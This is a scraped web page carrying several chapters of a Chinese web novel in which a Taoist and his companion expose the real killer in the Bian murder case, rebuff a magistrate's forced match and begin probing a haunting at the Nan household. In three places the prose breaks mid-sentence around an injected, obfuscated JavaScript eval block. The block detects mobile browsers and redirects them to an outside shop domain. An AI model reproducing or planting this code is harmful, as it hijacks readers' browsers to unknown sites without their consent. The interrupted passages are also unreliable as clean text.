“今天在公堂上,她如果不是被逼到绝处都不想供出王氏,不想连累其他人,却不曾想对方却将自己的事告诉了奸夫,给她引来灾祸,还在公堂之上那么说她……想想真不值得。如今凶手到底是不是宿介也没有定论,还不知此事要折磨卞姑娘多久?” “你想帮她。”白行野了解李钰,知道他不忍心。 李钰坐了起来,认真道:“如今秋隼虽然已经放出来了,可真正的凶手是谁竟还不明确。我原本想这人间官司自该交由官府去处理,可那日去过卞家后,我就在想如果可以有其他的方法尽早结案为何不做?秋隼也不至于受那么多的苦,卞姑娘又能尽早安心……” 他说着说着脸上就露出懊恼之色,长叹一声才道:“行野,你能帮我吗?” 白行野伸手抚平李钰蹙起的眉头,说道:“无有不应。” 当晚,白行野独自来到卞家门口,又都不知是什么人扔的烂菜叶,只是这次龚家门口更多,他无奈地施法将卞家门口的菜叶清理掉。 此时已是深夜,四周一片寂静。 白行野一边掐诀一边念咒,周围气机瞬间变得不同,“无主魂,路边灵,皆应吾声,速现原形。” 他双眸一睁,眼前已出现数名鬼魂和三五猫狗精怪,稀稀拉拉齐聚卞家门口。 “大人召我们前来有何事啊?”一中年男鬼哆哆嗦嗦开口问道。 这些孤魂野鬼和小妖们修为低微,都是常混迹在这一带的。 白行野冲身后的门房瞟了一眼,“这家人前些日子死了个老头,死人那天你们有谁看到了?” 鬼妖们面面相觑,大都摇了摇头,只有一只小猫怯怯地说:“大大大王,我看到了。” 白行野眼前一亮,立刻问:“你看到是谁杀了卞牛医?” 那是一只开了灵智的小黑猫了,小黑猫上前一步,垂头行了一礼才答:“看到了,那人是毛大!” 毛大又是何人?这又是哪里冒出来的?白行野耐着性子,让小黑猫细细说来。 原来,卞牛医本是兽医,对小动物极友善,家里日子虽不宽裕,却也时常投喂些附近的小猫小狗,因此附近常有猫狗逗留。小黑猫也是因为这个原因,才爱徘徊此处,继而意外看到了当晚那一幕。它将那晚毛大翻墙进屋找错了门,又被卞牛医追打,最后凶相毕露抢过镰刀砍杀了卞牛医的经过告知白行野。 “那个毛大平日游手好闲,偷鸡摸狗的事没少做,只没想到发起狠来那么凶恶!卞牛医被他一刀砍下去,鲜血溅了他一身,看着简直像个恶鬼!”小黑猫带着愤怒说道,旁边的几只鬼忍不住看了它几眼。 “这么说,当时的绣鞋是毛大遗落的?”白行野问。 小黑猫歪着头回想了一下,“我好像是看到他被卞牛医从墙上扒下来的时候,身上掉了个什么东西下来。” 白行野知晓了经过,为感谢小黑猫,给它注入了一些灵力,众鬼妖都羡慕地看着。随即他遣散了众鬼妖,飞身去往吴知府府上。 此时的吴南岱已然入睡,他平日不做梦,今日却做了一个奇怪的梦。 在一片云雾缭绕间,他来到了城隍庙,吴南岱带着疑惑进入了城隍大殿中,看到了城隍爷的神像,这是他当初刚任知府时来拜谒过的。 忽然,神像居然开口说话了,“吴南岱,你白日审理的案件,凶手另有其人。” 吴南岱先是一惊,立即躬身施礼道:“还请城隍老爷指点。” “城中闲汉毛大才是杀害卞牛医的真凶,此人应有血衣藏匿,找到血衣便可为证。” 城隍爷声音冷淡,却直接指出了凶手是谁!吴南岱诚惶诚恐,难不成是神灵觉得他办案不力?不但告知凶手是谁,还指出了证据所在。他还没来得及细问怎么又牵扯出一个没听过的人,身体就迅速往后退去,转而又似从云端跌落,直至他猛地睁开眼,醒了! 梦境十分真实,他醒来以后都还能想起,那冷冰冰的城隍神像嘴巴一张一合说话的样子。 吴南岱心绪不定,一大清早就去了大牢提审王氏和宿介,询问他们是否认识毛大。得知王氏与他倒是有交集,乃是因为毛大几次想要勾搭王氏,皆被王氏拒绝。 得此信息,吴知府暂且搁下许多疑问,先派人去捉来毛大,并搜了毛家,有衙役果然在厨房灶膛旁边找到了沾着血迹的衣服碎片。 吴知府再次开堂公审,因为上一次公审案情跌宕起伏,一时传的满城尽知,这一次来围观者甚众。且不止李钰他们来看了,连鄂秋隼也撑着病体前来,定要看着恶人认罪伏法才行。 叫人意外的是,此次竟然又牵扯出一人!众人不解,只都仰首伸脖,竖着耳朵听公堂上的动向。 那毛大的在公堂上起初是抵死不认,可他却交代不出事发当晚他的去向。吴知府见他不老实,让人打了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262946|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他二十杖杀威棒,又拿出搜来的血衣碎片,毛大怕了,自知事情已经败露,才不得不将事情所有经过交代出来。 至此,卞牛医被杀一案的凶手终于曝光在众目睽睽之下。杀人偿命,毛大当堂画押后便收监了,只等秋后问斩。而牵涉其中的宿介和王氏,虽犯通奸之罪,却因王氏丈夫不在本地,其夫未吿只得暂且不究。而宿介假扮鄂秋隼意图玷污卞氏未遂,则需通报学官革去其功名,之后怕是还有流放之刑等着他。宿介一听“革去功名”四字,当场晕了过去,竟比毛大还害怕,衙门前围观众人却都拍手叫好! 此案一波三折,令人啧啧称奇,退堂后许多人依旧在府衙门前久久不散,兴奋地讨论案情。 这两次公审,胡知县也都参与旁听,却一次比一次受打击。没想到他认定的案子,其中居然牵扯出这么多人,最后竟是一个街头闲汉做出的事!此事闹得满城风雨,上次鄂秋隼被无罪释放后,胡知县这“糊涂官”的名号就在城中叫响了,简直颜面尽失。 思来想去,胡知县主动走到鄂秋隼面前假惺惺地向他道歉,实则是做给还没走的百姓们看的。果然周遭议论的声音都小了下去,众人纷纷往他们这边看。 鄂秋隼遭此一难,如今身上伤都没好完,哪能不怨恨?但人家是地方父母官,他一个小小秀才怎敢拿乔?且又是在这众人瞩目之下,只能接受道歉。 胡知县抬眼看了看四周人们都在看自己,又笑呵呵地将卞胭脂叫过来。此时卞胭脂面对鄂秋隼哪里抬得起头?她满脸羞愧,双眼含泪,想要道歉,却踟蹰半晌开不了口。 对着这女子,鄂秋隼心中也是五味杂陈,一方面又有些同情,一方面若不是她,他也不会落下一身伤,此前每次对质还都被这卞姑娘大骂。 而胡知县见此情形竟哈哈大笑起来,更是引得周遭人都驻足围观。他抖着一脸横肉笑道:“这件案子实在是个中误会太多,让本官一时也昏了头,差点酿成大祸!好在吴知府及时出手,铁断如山,还鄂秀才一个公道,万幸!” 他不时注意着周围人的目光,话锋又一转,“不过,这也并非坏事,塞翁失马焉知非福?” 众人不知他何意,只听那胡知县又道:“鄂秀才,你看这卞姑娘嫦娥般的美貌,一番深情心系于你,闹得是人尽皆知。如今真相大白,你也知道她是受人蒙骗的,实在是个可怜之人。我见你二人郎才女貌,不如由本官做主,成全你们二人,就此结下姻缘可好?” 全场哗然,卞胭脂面色一阵红一阵白,不知是何想法。鄂秋隼也愣住了,仿佛不敢相信这胡知县在说什么,竟还有那好事者已经在一旁鼓掌起哄了。 胡知县要的就是这个效果,他如今名声不好,人人都说他害惨了鄂秋隼,更质疑他的能力。那他就做主,把这两人凑成一对,将冤假错案弄成一桩姻缘美谈,那他也算歪打正着,这“糊涂官”的骂名不也能洗清一半了?岂不妙哉! 这样想着,他又和颜悦色道:“此事有本官的过错,本官便为你二人做媒,聘礼也当由本官来出,以此补偿你们一二,这事就这么定了……” 胡知县边说边摇头晃脑,觉得自己此法真是聪明绝顶,一点小钱就能挽回自己的名声,何乐而不为? 鄂秋隼还在发愣,一旁的李钰已是怒不可遏。胡知县的昏聩无能,断案不明,屈打成招已经是全城皆知,竟然想出这种损招,要以撮合两个受害人结亲,来给自己犯下的错误盖上遮羞布!这胡知县叫什么胡端,应该叫胡来才对! 且他特意在这众目睽睽之下说出这样的话,简直就是让鄂秋隼和卞胭脂两人骑虎难下,用舆论、用官威在逼迫二人! 而令人失望的是,在场的百姓却大多是一副看好戏的样子。 62.重新开始 鄂秋隼伤还没好全,此时面色有些苍白,面对胡知县接连不断的自作主张,一时愣怔在原地,给李钰急得不行。白行野对此场景也是面露嫌恶,正要悄悄掐诀给这狗官一个教训。 可此时一个女子的声音骤然响起,“多谢胡大人好意,小女子虽是遭奸人蒙蔽,却实实在在连累了无辜。鄂秀才清白人家,前途远大,却因小女子错认蒙受不白之冤,这叫我如何有脸再面对他?经此一事,若强与之结下姻缘,往后余生时时相对,不免想起彼此痛楚,岂非成了怨偶?”她的声音有些沙哑,不知这些日子痛哭过多少回。 卞胭脂说到此处,不知哪里来的勇气,抬头对胡知县不卑不亢道:“还望大人体谅,恳请收回好意。” 全场寂静,鄂秋隼定定看着眼前女子,此前虽说不上多恨这位卞姑娘,但必然是怪她的,而此时他却由衷生出一丝佩服。 他亦拱手道:“胡大人,晚生虽经历此劫,到底得还清白。而卞姑娘一心为父追凶,情出本心,其情可悯,她理应配得上一位君子,方得一世美满。可晚生经此一事,此身残破,心中更惊惧未平,不敢生出风月之念,还望大人见谅。” 此话一出,周围认识鄂秋隼的人都有些意外,心中不由感慨经此一劫,以往内向胆小的鄂秋隼竟多了些刚直。 在场却有一人闻言面色大变,那便是胡知县,他一听这话立时气血上涌,一个破落户、一个小秀才竟敢当着众人的面忤逆他,简直不将他放在眼里!正要发火,忽地只觉脑袋晕晕乎乎,他听见自己的声音在说:“哪里哪里,倒是我考虑不周了,既然如此,那此事便作罢。” 这是怎么回事?他想说的根本不是这些!但他就跟控制不了自己的嘴一样,就连脸上的表情都一并跟着僵硬地笑起来。 可他的口舌还在动着,“既然无心风月,更要把心思用在考取功名上,一心读书,未尝不是好事。” 说到考功名,周围的读书人们也都连连点头,还有人应声道:“胡知县这话说得对。” 见此事已然无可挽回,未免说出更多自己不想说的话,胡知县只能僵笑着点头告辞。 见他态度变化如此之快,李钰察觉不对,看向了白行野,对方果然对他露出一个狡黠的笑。李钰立刻了然,偷偷对白行野竖起大拇指。 胡知县离场,其他人也都渐渐散了,卞胭脂也不知什么时候离开了。只剩下李钰他们几个,言笑晏晏地去客栈庆祝。 “真是没想到,你居然还有胆子说出这样的话!”丁再昌刚坐下就对鄂秋隼赞道。 鄂秋隼不好意思地挠了挠头,“我也不知道怎么回事,当时只是一时冲动,忽然有了勇气,就一定想把真心话说出来!” 席方平打趣说:“其实那糊涂官说的也不错,卞姑娘也是个美人,又有心于你,想到她又是受人蒙骗,如今处境也不好过,和你在一起,也算才子配佳人,两人都可以修复之前受损的名誉。” 鄂秋隼还没开口,李钰就道:“方平兄,你可别慷他人之慨,就算卞姑娘再可怜,跟无辜受累的秋隼有什么关系?为了这个案子,他已经搭上身体和名声,难不成还要把自己一辈子也搭进去?” 席方平也不恼,大方认错道:“是我言错,只是觉得此案虽已了,却终是有些道不出的遗憾。” 几人都沉默下来,谁说不是呢?就如席方平所说,卞姑娘依然名节有损,受到一些庸人的唾弃,鄂秋隼还落得一身伤病,而糊涂断案的官员,除了被百姓私下取乐,可以说是毫发无损。 鄂秋隼对大家笑了笑,“哎呀,我能沉冤昭雪已经是大好事了,你们就别再苦着脸了。” 甚少发言的白行野开口道:“秋隼,你好好养伤,我会帮你恢复受损的经脉,大家都不用担心。” “既然白道长都这样说了,还担心什么!”席方平爽朗笑道,气氛再度活络起来。 鄂秋隼立刻感激地道谢,其他伤处还无妨,他就怕他就怕自己落下腿疾,成了瘸子就不好了,不过白道长愿意帮他,那一定不会有问题了。 李钰也开心道:“好啦,今天我们都高高兴兴的庆祝一番!只是秋隼你今天就只能看着我们喝酒了。” 众人都大笑起来,李钰招呼上菜,几人便推杯换盏起来。 事情总算完结,此案在城中掀起一波热议后,又逐渐平息下去。不过,李钰依旧记挂着卞胭脂,他让婴宁代他去问候一声,如果卞胭脂和她母亲有意离开此地,可以去李家庄子上做工,远离是非之地,重新开始生活。 卞胭脂起初不愿,可街坊四邻虽然不再朝她们家扔烂菜叶了,可但凡她或母亲不得不出门时,总有人对她们指指点点。卞胭脂也倔强,她没觉得自己喜欢上别人有什么错,错只错在愚蠢被骗,连累父亲还冤枉了好人。她强迫自己不予理会,只当自己看不见。 可是,她并不是一个人,她可以强撑着忍受铺天盖地恶意,她的母亲却受不住流言蜚语的折磨。 终于,她答应了婴宁的提议,准备将房子贱卖掉,搬到李家庄子上去。不过走之前她让婴宁给李钰带话,想见他一面。 因为不方便在人前碰面,于是李钰和白行野在卞家母女离城后才去相见,就当给她们送行。 他俩在前往李家庄子的山路上等着,不久便看到了自家庄子上的牛车,为了不引人注意,李钰特意去信让庄子上的人来接的母女二人。 牛车停下,卞胭脂从车上下来,她的身上还穿着孝服,她向李钰福身行礼道:“多谢少东家愿意收留我们母女,小女子无用,再造之恩唯有来世结草衔环以报。” 李钰温和道:“不必不必,本来庄上也缺人,你们去那里也是靠自己双手养活自己,算不上什么恩情。你也不用担心旁的,送你们去的人都会守口如瓶,不会乱说话的。” 卞胭脂点了点头又欲言又止,像是难以启齿。其实李钰知道她想说什么,于是主动道:“你放心吧,秋隼他伤势已经大好了,他也不怪你,我们都知道你也是被蒙蔽的,并非你的过错。” 卞胭脂垂下眼眸,嘴角扯出一点笑容,“是吗?那就好。” 她抬起头,眼中似有茫然和不甘,她问李钰,也像在问自己,“我当初不过是喜欢上一个人,我真的做错了吗?女子思慕男子当真是罪不可恕吗?” 闻言,李钰十分认真道:“此乃人之常情,哪里会是错的?人们常说窈窕淑女,君子好逑,司马相如一曲《凤求凰》,人们至今奉为美谈,却忽略卓文君写下《白头吟》时处境的艰难。人们对女子太过苛刻,甚至要求女子连思想都要保持贞洁,女子动心若被人知晓便是名节不保有辱家门,这样的要求简直是无理取闹!” “虽然一见倾心这事在我个人看来或许有些许草率,但女子能有追爱的勇气,愿意主动去选择自己的婚姻,已经足以令人佩服。”尤其是在这样的时代,李钰在心里补充道。 卞胭脂原本涣散的眼神逐渐聚焦,眼前之人说得极为认真,语气中不带丝毫讽刺之意。在这一刻,往日所受的那些屈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269170|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辱仿佛潮水退去,汇入汪洋大海,归于平静。 “多谢。”卞胭脂再次行了一礼,眼泪从眼角滑落,被她迅速拭去,“请少东家代我转告鄂公子,为他引来灾祸实非我所愿,实在无颜再向他当面道歉,遥祝他以后一切顺遂,早日觅得良缘。” 说罢,卞胭脂上了牛车。 牛车渐行渐远,清风掀起车帘,外面的景色是她以前未曾见过的。而以后,她们母女二人便要彻底告别过去,走上另一条道路了。 李钰目送着牛车远去,心中百感交集。他方才所言并非客套,一个世俗目光中上不得台面的低贱门户的女子,却从不自轻自贱,不被流言干扰,坚定认为自己足以配得上优秀的男子,并愿意勇敢去追求自己所爱之人。其后发展虽超出她的美好愿景,甚至她的出发点和当初的王子服一样都带了些“见色起意”,但她的目的并非占有,而是出于对自主选择婚姻的意愿,也比一个男子更拿得起也放得下。更何况其父遇害后,她甘愿抛却自己的名声和生命为父亲求一个公道,面对种种横眉冷对、闲言碎语,仍自巍然不动,怎么不算是位值得钦佩的奇女子? 白行野见他久久未动,还以为他在担心卞氏母女,安慰道:“你已经去信说明了情况,不会有人为难她们的。” 李钰回过神,抬眸对上白行野的眼睛,那双凤眸映照着李钰的身影和他身后山路上盛放的鲜花。 他忽然轻笑出声,倒是他扭扭捏捏,还不如一个女孩子。他勾着白行野对自己表明心迹,可自己却连一句喜欢都不敢说,纵使两人关系早已不言而喻,可这对白行野并不公平。 李钰伸手去够白行野的手,对方也自然地回握住他的手,眼里流露出让人无法忽略的喜爱之情。李钰微微仰头凑近白行野,在他的唇上轻吻了一下。 “行野,我还没有说过,我真的好喜欢你。”李钰直视着白行野的眼睛,终于坦荡地将心里盘桓了无数次的话说出了口。 白行野渐渐睁大了眼睛,似乎没想到李钰会在此时表露心迹。他将李钰揽进怀中,亲吻着他的发间,轻声笑道:“我知道,我也是。” 两人温存了片刻,这才又往城里走,今天除了来送卞胭脂母女,中午还要去赴鄂秋隼的宴。因着县学众人的联名上书,才有机会让案件重审,鄂秋隼自然要宴请众人表示感谢,他还特意选在了李钰家的广源客栈,因为还有很多不认识的人,白行野送李钰过去,自己就先回了。 席间,席方平颇有大哥风范,陪着鄂秋隼走完每一桌,帮着他挡酒,众人也知鄂秋隼伤才好,并不太过劝酒,只是热热闹闹地吃上一顿。 吃完饭,还意犹未尽的人就去结庐茶楼品茶清谈,李钰几人倒是留在客栈多聊了会儿。得知卞胭脂搬到李家庄子上去了,鄂秋隼像是松了口气,他道:“好在李兄你心软,当日我虽拒绝了胡知县提出的婚事,心里却始终不安。” 席方平调笑道:“怎么?你不会后悔了吧?” “哪里是后悔?”鄂秋隼立即否认,“只是想到我若答应这桩婚事,确实能对她的名声施以挽救,这些日子她一个姑娘家想必受了不少委屈。可我那时心有怨恨,不愿勉强在一起,可总担心她今后的处境。如今,总算能够安心了。” “你能这么想,卞姑娘倒是没看错人。”李钰笑道,他将卞胭脂的话要他转达给鄂秋隼,“你放心,卞姑娘已经放下了,她也会有她的新生活的。” 鄂秋隼听完倏尔一笑,如春风拂面。 “如此,甚好。” 63.南府闹鬼 “你因她白白受了这些酷刑,还挂念她的处境,若说心软你也不遑多让。”丁再昌笑道。 鄂秋隼也不接话,而是高举茶水道:“若非遭遇此难,我也不会知道我同窗们如此仗义。我们常州学子抗权陈弊,气节高尚,可见之后诸位若能科举入仕,官场必定海晏河清。此番也是让我获益良多,便以茶代酒再敬几位。” 几人都被他的慷慨陈词逗笑,纷纷装模作样以茶代酒喝了一口。 “你这顶高帽一戴,不喝也不行。”席方平将茶盏往桌上一放,忽然话锋一转,“倒也不是所有读书人都是如此。” 李钰好奇地问:“什么意思?” “还不就是那南三复,他自己不愿帮忙也罢,还不许他身边那些个攀附权势的狗腿子帮忙。说是自己要成亲,不沾这些晦气之事,好歹还是曾是私塾同窗呢。” 南三复?李钰记得这人,之前结庐茶会上南三复故意刁难李钰,后来丁再昌也就不与他多来往了。 “这南三复到底是何背景?”李钰问道。 “不过是家里有个伯父在朝为官,勉强沾了个官宦子弟的身份,可他父亲是家里最没出息的一个,全靠祖业过活。也算是他们家底厚,那般挥霍之人,竟然让他嚣张至今。”席方平语带轻蔑。 鄂秋隼不在意道:“罢了罢了,他不愿相助也不必强求,总之我如今是没事了。往后抬头不见低头见的,你们也不必因为我和他闹出什么矛盾,我们还是都安心读书的好。” “人不犯我我不犯人,不过是看不惯他,谁没事故意去招惹?” 说罢,不再提此人,几人又聊起了别的,将南三复抛诸脑后。 可万万没想到,没过多久平静日子,南三复居然亲自登了李家的门。不过不是来找李钰,而是来找白行野的。 白行野本不想见陌生人,可李钰好奇心起,想知道这位南公子所来何事?还是接待了他。 要说这南三复,长得倒也不赖,五官端正、身姿挺拔,一袭华服更显几分风流。只是今日见他,李钰却发现他面色有些灰败,眉宇间隐约有着些许戾气,让人看了觉得有点不舒服。 南三复坐下后,不时喝口茶水,不时四处张望,坐立难安。 李钰主动开口询问道:“南公子真是稀客,今日上门所为何事?还请直言。” 南三复也不客气,道:“那我便直说了,今日来主要是想请白道长帮忙的。听闻白道长法术超然,以一己之力便捉住了白莲教妖人,更有诸多神通。想必对驱邪捉鬼应该也有一套吧?” 听了这话,李钰就有些不开心了,关于白行野的能力,除了白莲教妖人一事,其他的也就家里人和朋友们或许知道一些,可怎么会传到南三复耳中?难道说是家里下人还是有管不住嘴的,传到外面去了?看来还得好好敲打一番。李钰按下心中不快,看白行野要怎么回答? 白行野的外貌锋利,气质凛然,不笑的时候看起来实在有些不好接近。因此,南三复在对上白行野的眼神时,竟然显出一丝局促和恭敬。 可白行野并没给他面子,而是反问:“会又如何?” 南三复目光一亮,“那就好啊!白道长有所不知,最近我家里闹了鬼,那恶鬼着实可恶,如今已在我家害了人命,附近那些所谓的高僧道士却都拿她没有办法!还请白道长出手相助,为我南府铲除恶灵!” 李钰一惊,脱口而出:“居然害了人命?!” “李贤弟可能不知,上个月我刚新婚,当时县学中人都在为鄂生之事奔走,家里老人怕犯了晦气,未曾宴请大家,还望见谅。”南三复倒也不是傻子,特意解释了一番,还和李钰称兄道弟起来,又做出痛心疾首状,“可怜我那刚过门的妻子,嫁进我家没几天却忽然吊死在家中,此前明明毫无寻死征兆!且有人在家中看到女鬼身影,我那贤妻定是被女鬼所害!” “家父家母请了高僧和道长到府中来看,都道家中有厉鬼作祟,可他们说这厉鬼鬼气冲天,他们也奈何不得。多方打听后才知道,李贤弟家还有白道长这样的高人在,因而厚颜上门求助。”南三复姿态放得极低,丝毫没有往日嚣张,看起来深受其害的样子。 可他的表现丝毫没有打动白行野,而是慢悠悠道:“所谓厉鬼,除了少数生前就恶贯满盈,手上沾血无数之人,大多是饱受冤屈,怨气集身才化作的厉鬼。你们家到底是鬼气冲天,还是怨气冲天?” 南三复闻言浑身一震,半晌未能开口,一看就不肯说出实情。他向身旁的小厮使了个眼色,那小厮手捧一个精致的嵌宝玉匣,小厮打开玉匣,里面金灿灿的竟全是金条! 南三复谄媚一笑,“白道长何必纠结怨气鬼气,且请你去我家看一看,这一箱金条就是您的了,若能帮我解决那厉鬼,还有厚礼相赠。” “呵。”白行野嗤笑一声,不为所动,“厉鬼索命,必有冤情。南公子种了什么因,就得吃下什么果,带上你的金条回去吧。” 南三复脸色一变,这姓白的油盐不进,还一直戳他肺管子,真是不识抬举!他倍感恼怒,也不说告辞,招呼小厮一声,转身就走。 “呸!”李钰啐道,“有钱了不起啊,当我们李家就穷酸吗?也不好好打听打听,我们白道长是那种为五斗米折腰的人吗?” 白行野见了南三复怨气缠身,本来心情极差,听李钰这么一骂才笑了起来。 “行野,你是看出什么了吗?是不是那南三复做了坏事才被报复?” “就如我方才所言,厉鬼索命必有冤情,那南三复又不愿说出实情,想必是做了亏心事。” “原来如此。”李钰明白了,但心里面依然也有些疑惑,若是南三复做了什么恶事,那报复他不就行了,为何死的会是他那刚过门的妻子?难道新娘子也做过什么,才一并被报复了。 这事一时想不明白,不过眼下他倒要先查一查,到底是谁将白行野的能耐散播出去的! 这不查不知道,一查才是让人哭笑不得,原来并非如他想是家里下人嘴碎,而是他那老爹在各种饭局酒局上吹牛。李化大赞特赞自家有本事的儿子和贤侄,把李钰吹成经商天才不说,贤侄白道长更是不世出的高人。 李钰埋怨自家老爹两句,李化就不乐意了,“怎么了?我自己儿子不能夸?行野和我们感情也深厚,我们也都当他是自己孩子,夸几句不行啊?” 一连串的反驳,让李钰无话可说,只得罢了。老爷子也不算做错,要是以后有人因此来求助白行野,不又可以给他积攒功德了,也不算坏事,就这样吧。 另一面,关于南三复家中闹鬼之事,他也留了个心眼,悄悄找人打听了。从南府附近的邻里口中才得知,原来他新进门的妻子,还是在家中父母来看望时被发现自尽在后花园的,据说是自缢而死。可更多隐情邻居们也不知,说南家下人也都讳莫如深,只道新娘子死得惨,家里人悄悄发丧了,不敢声张。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273363|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且不止这一件事,早在南府办喜事的前几个月,更有一桩惨事。说是隆冬腊月的某个晚上,一名女子抱着襁褓中孩子,在南府门口哭喊叫门了一夜,南家没一个人理她,最后竟抱着孩子冻死在南府门口。周边的人都猜,肯定是南三复与那女子有私情,还弄出了孩子,一看那女子就是农家女的穿着,定是南三复后来将其抛弃,才引来女子携子叫门。那天之后,周围那几户人家都被南府花钱捂嘴,他们也惧于南府权势,只敢和同样知道的几户人私下议论几句,因此这么大的事,城里知道的人却并不多,李钰还是花了大钱才打听出来的。 难道南府闹鬼就是那被抛弃的女子所为?他思及南三复以往的行事风格,和众人对他的评价,觉得八九不离十。 虽不知故事全貌,但只言片语也已经让李钰听得怒火中烧,他气冲冲地去找白行野,将打听来的情况告知,怒道:“我以为南三复只是一个普通的纨绔,没想到竟是个猪狗不如的畜生,难怪会被厉鬼缠身,真是活该!” 白行野听了个大概,亦冷声道:“果然有冤情,既是他自己作孽,那便自己受着吧。” 李钰气得踹了一脚凳子,白行野哭笑不得,将他拉过来按在榻上坐下,“怎的气性这么大?他是恶人自有恶鬼磨,有那报应等着他,你又何必如此?” 李钰靠在白行野怀中渐渐冷静了下来,脑子里却还想着这件事,他还是觉得有些不对劲,“还是那个问题,若真是那女子来报仇,她要索命就该去索南三复的命?为什么死的会是他刚过门的妻子?” 白行野拧眉思索,也想不出个所以然,两人沉默片刻,李钰道:“不如我们查一查新娘子的死因?” “好。”白行野就知道李钰会这么说,没有一丝犹豫地应了下来。 死去的新娘子是本地一户姓孙的富商家女儿,孙家在本地经营一处茶庄,生意还挺大,做的是全国的买卖。 因为孙小姐之死发生在南府,事发后南家人便快速将其下葬了,孙家父母哭了一阵,只称孙小姐是生了急病去的,显然是不愿对旁人多说的,人家自己就是大户人家,李钰使银子也没用。 好在这孙小姐有一个从小和她一起长大的贴身丫鬟,名叫春杏。春杏也是她家小姐的陪嫁丫鬟,如今因为孙小姐过世又被孙家要了回去。这个春杏与孙小姐感情深厚,又一直陪伴在其侧,想必她是比较清楚具体的情况的。 李钰将突破口放在这个小丫鬟身上,但丫鬟们也不是随时能出门的,为了等这春杏,李钰还颇费了一番功夫。 苦等了好几日,春杏才出门采买针线,她向来做事麻利,买完东西也不耽误,径直往回走。今天倒有些奇怪,她在路上遇到两个极英俊的男子像在等人,那俩人相貌着实出众,平日难得一见,这天还一遇就遇俩。 靠近他俩时,春杏没忍住抬眼看了他们一眼,其中一人正冲她笑得和善,她慌忙低下头靠着巷子另一面墙,加快了步伐。 可就在这时,她被那人叫住,“春杏姑娘,请稍等。” 春杏一回头,正是那个看起来更明朗友善些的男子,她确信自己并不认识此人,疑惑地开口问:“公子……找我?” 李钰扬起笑容,他本就生的好看,笑起来更加可亲,让人心生好感,“春杏姑娘,我们正是来找你的,想问问有关你家小姐的事。” 此言一出,春杏立刻脸色大变,往后退了两步竟转身就要走。 64.调查 机会如此难得,他们哪能让她走?只一眨眼,白行野便闪身至春杏面前,拦住了她的去路。 春杏被眼前这眼神凌厉的男子吓了一跳,进退两难间,她大声道:“你们要做什么?我主家就在前方,我一叫人他们都听得到!” 可她却并未发现,她这么一吼,明明离得很近的孙家,居然连个门子都没出来看一眼。 李钰仍旧保持着笑容,先自报了家门,:“姑娘请放心,我们并无恶意,我叫李钰,是城东李家的,这位是白道长,我们来此是想问清楚你家小姐的死因。” 李钰收起笑容,话锋一转,“你应该也知道你家小姐死得冤枉吧?” 春杏眸光一闪似有挣扎之意,但想起主家的嘱咐,仍然绷着脸拒绝道:“我家小姐已经去世,查了又有什么用?我也没有什么可说的。”可她的语气已经明显听得出没有方才那么冷静了。 对于此情此景李钰早已有所设想,他不紧不慢道:“听说你从小就进了孙府,同你家小姐一起长大,想必感情十分深厚吧?” 春杏眉心一跳,道:“是又如何?” “我听闻南府闹鬼,有怨灵作祟,可若有怨灵为何不缠着南家人,偏偏盯上刚进门的孙小姐?难道你不想知道其中缘由?不想让害她之人得到惩罚吗?”李钰紧盯着春杏,一句句击溃春杏的心防。 春杏一口银牙咬碎,“我怎会不想让害小姐的人得到惩罚?可我又能如何?我不过是一个低贱的丫鬟,你让我去找南府报仇?还是找那恶鬼报仇?!” 李钰和白行野对视一眼,知道这突破口确实没有找错。 白行野开口道:“你可知道那南府的厉鬼为何会找上你家小姐?我们若是搞清楚事情的来龙去脉,或许能为你家小姐讨回一个公道。” 他说得言之凿凿,好似真有本事处理鬼魅一样,春杏狐疑地看着眼前这人,面庞年轻俊美实在不像和鬼神之事扯得上关系的人,她问道:“南家人请来的高僧道士们都拿那厉鬼没有办法,难道你有办法?” 李钰忙将去岁白行野擒获白莲教妖人,解救十数妇女幼童一事说来,并道出了自家还有知府大人所赐的急公好义的牌匾。要知道在当今老百姓的心中,白莲教还是颇为神秘且厉害的组织,民间常流传那些人会妖术,甚至能撒豆成兵、刀枪不入。在府县抓获的白莲教妖人,还是那会造畜的妖人,那可是大事!春杏自然是听说过,原来竟是眼前这年轻男子所为,那他真能帮小姐报仇吗?春杏并不知道,其实那人虽会造畜,自己却没什么护身的本事,即使只是普通的衙役也能轻松捉拿此人。 思来想去,春杏终于下定决心:“好,若你们真能为小姐报仇,那我愿意将一切和盘托出,你们有什么要问的就问吧。” 李钰立刻问道:“你是怎么确认孙小姐是被鬼害死的?我听说明明是上吊自尽。” “根本不需要确认。”春杏笃定道,“在我家小姐出嫁之前,那女鬼就来我家小姐梦中恐吓过她!” 李钰很是震惊,这厉鬼还做杀人预告的? 